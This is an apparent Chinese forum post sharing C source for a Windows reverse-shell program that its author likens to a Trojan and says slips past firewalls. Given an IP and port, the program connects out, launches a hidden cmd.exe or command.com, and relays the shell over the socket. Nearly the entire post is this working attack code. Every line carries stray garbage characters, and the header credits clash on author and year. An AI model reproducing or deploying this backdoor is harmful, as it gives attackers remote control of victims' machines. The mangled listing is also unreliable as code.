这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 MvKr~
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/* ============================== wi/qI(O!
Rebound port in Windows NT U-*`I?~=4
By wind,2006/7 9oU1IT9
===============================*/ %y{'p:
#include Q 2>o+G
#include pi|=3W
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#pragma comment(lib,"wsock32.lib") S[;d\Z]~
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void OutputShell(); fi~jT"_CI
SOCKET sClient; ,W| cyQ
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $L4h'(s
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void main(int argc,char **argv) gF>t+"+x
{ MBqw{cy
WSADATA stWsaData; Xaw ~Hh)
int nRet; . 3'U(U
SOCKADDR_IN stSaiClient,stSaiServer; ~H c5M5m
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if(argc != 3) *e25!#o1
{ qKD
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printf("Useage:\n\rRebound DestIP DestPort\n"); b5S4C2Ynq
return; 9vckQCLM
} g)1`A24
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WSAStartup(MAKEWORD(2,2),&stWsaData); *{("T
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2b/Cs#-
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stSaiClient.sin_family = AF_INET; t2(vtxrt
stSaiClient.sin_port = htons(0); nN2huNTf:
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); FEO/RMh
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) e-Zul.m
{ "s.hO0Z
printf("Bind Socket Failed!\n"); hCb2<_3CR
return; r4M;]
} !C@+CZXLx
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stSaiServer.sin_family = AF_INET; 9S|a!9J
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \beYb0(+
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); VfFbZds8f
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) KPAvN M
{ sDB,+1"Y$
printf("Connect Error!"); UP7?9\
return; |=:<[FU
} 9&bJ]
OutputShell(); C~IE_E&Q`
} f@ILC=c<
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void OutputShell() zHKx,]9b
{ 7]_zWx,r
char szBuff[1024]; "r~/E|Da<
SECURITY_ATTRIBUTES stSecurityAttributes; ffMk.SqI
OSVERSIONINFO stOsversionInfo; je`Inn<
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Ro_jfM
STARTUPINFO stStartupInfo; Z7NR%u_|[
char *szShell; ?=im~
PROCESS_INFORMATION stProcessInformation; %NDr5E^cc
unsigned long lBytesRead; ,h9?o
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ZfXgVTJ`
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +{#L,0t
stSecurityAttributes.lpSecurityDescriptor = 0; g2?yT ?
stSecurityAttributes.bInheritHandle = TRUE; Ae%AG@L
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); c#f@v45
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); x!6<7s
vY7@1_"
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); c^<~Y$i
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]_j={0%
stStartupInfo.wShowWindow = SW_HIDE; p=m:^9/
stStartupInfo.hStdInput = hReadPipe; !4T!@"#
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; B1A:}#
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GetVersionEx(&stOsversionInfo); s!S_Bt):3
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switch(stOsversionInfo.dwPlatformId) dQz#&&s-
{ (*_lLM@Cd
case 1: LJ K0WWch
szShell = "command.com"; ,M~> t7+
break; dvM%" k
default: phQ{<wzwp
szShell = "cmd.exe"; TT no
break; kE :{#>[Uz
} OIIA^QyV
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); I1#MS4;$^
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send(sClient,szMsg,77,0); p1\mjM
while(1) A+j!VM
{ Z6-ZAS(>m
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); M!D6i5k,
if(lBytesRead) gWL`J=DiU
{ :G#+5 }
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); cvQAo|
send(sClient,szBuff,lBytesRead,0); i{16&4 '
} UmArl)R/
else n wMq~I*1
{ _ds;:*N+qA
lBytesRead=recv(sClient,szBuff,1024,0); %E"v@
if(lBytesRead<=0) break; {VXucGI|
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2liJ^ `
} gm%cAme
} <k0/O
p I~;3T:!
return; G8 q<)
}